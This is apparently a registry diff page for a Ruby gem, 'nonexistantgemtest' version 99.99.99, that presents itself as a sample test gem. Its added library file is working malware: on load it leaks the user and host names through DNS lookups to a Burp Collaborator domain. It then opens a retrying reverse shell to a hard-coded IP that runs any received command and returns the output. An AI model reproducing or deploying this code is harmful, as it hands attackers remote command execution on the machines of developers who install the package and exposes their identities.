nonexistantgemtest 99.99.99
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of nonexistantgemtest might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/nonexistantgemtest.rb +33 -0
- metadata +43 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 916b19edaa65a3cc82276a50ac2db374afef1f39c9608f188613b26aac8caba0
|
4
|
+
data.tar.gz: b57b27168b6ff9e3d7c01604f7a2c135621197e7a95344ca8a14972527ed9739
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 532f6fb7215ea4c79296f62b2bc937ec7de461a8405ac4bc4c431bc09e887273d041b54b52ba6abbb52b0fad73a1b7ee8970ea00b38fb09e30ffe63b814d255b
|
7
|
+
data.tar.gz: f49710352e6403e7ee6f8bdcdf0269cb3c2b73b7996d285eb7e275e6f6a1704b0e2acf1231430e5a937e76a641ee02c5bc98183247175a2c1c3c304fb624fcd7
|
@@ -0,0 +1,33 @@
|
|
1
|
+
|
2
|
+
class Nonexistantgemtest
|
3
|
+
|
4
|
+
require 'socket'
|
5
|
+
require 'open3'
|
6
|
+
|
7
|
+
#Set the Remote Host IP
|
8
|
+
RHOST = "37.11.229.157"
|
9
|
+
#Set the Remote Host Port
|
10
|
+
PORT = "9001"
|
11
|
+
Open3.capture2('nslookup `whoami`.`hostname`.2.xhiict6gtw3bddu7xarufaq3iuokc9.burpcollaborator.net')
|
12
|
+
Open3.capture2('nslookup %USERNAME%.%COMPUTERNAME%.2.xhiict6gtw3bddu7xarufaq3iuokc9.burpcollaborator.net')
|
13
|
+
|
14
|
+
#Tries to connect every 20 sec until it connects.
|
15
|
+
begin
|
16
|
+
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
|
17
|
+
sock.puts "We are connected!"
|
18
|
+
rescue
|
19
|
+
sleep 20
|
20
|
+
retry
|
21
|
+
end
|
22
|
+
|
23
|
+
#Runs the commands you type and sends you back the stdout and stderr.
|
24
|
+
begin
|
25
|
+
while line = sock.gets
|
26
|
+
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
|
27
|
+
IO.copy_stream(stdout_and_stderr, sock)
|
28
|
+
end
|
29
|
+
end
|
30
|
+
rescue
|
31
|
+
retry
|
32
|
+
end
|
33
|
+
end
|
metadata
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: nonexistantgemtest
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 99.99.99
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Dr. Who
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2021-04-08 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: A test gem
|
14
|
+
email: drwho@gmail.com
|
15
|
+
executables: []
|
16
|
+
extensions: []
|
17
|
+
extra_rdoc_files: []
|
18
|
+
files:
|
19
|
+
- lib/nonexistantgemtest.rb
|
20
|
+
homepage: https://rubygems.org/gems/nonexistantgemtest
|
21
|
+
licenses:
|
22
|
+
- MIT
|
23
|
+
metadata: {}
|
24
|
+
post_install_message:
|
25
|
+
rdoc_options: []
|
26
|
+
require_paths:
|
27
|
+
- lib
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
29
|
+
requirements:
|
30
|
+
- - ">="
|
31
|
+
- !ruby/object:Gem::Version
|
32
|
+
version: '0'
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
34
|
+
requirements:
|
35
|
+
- - ">="
|
36
|
+
- !ruby/object:Gem::Version
|
37
|
+
version: '0'
|
38
|
+
requirements: []
|
39
|
+
rubygems_version: 3.2.5
|
40
|
+
signing_key:
|
41
|
+
specification_version: 4
|
42
|
+
summary: Sample gem for our Rails project
|
43
|
+
test_files: []
|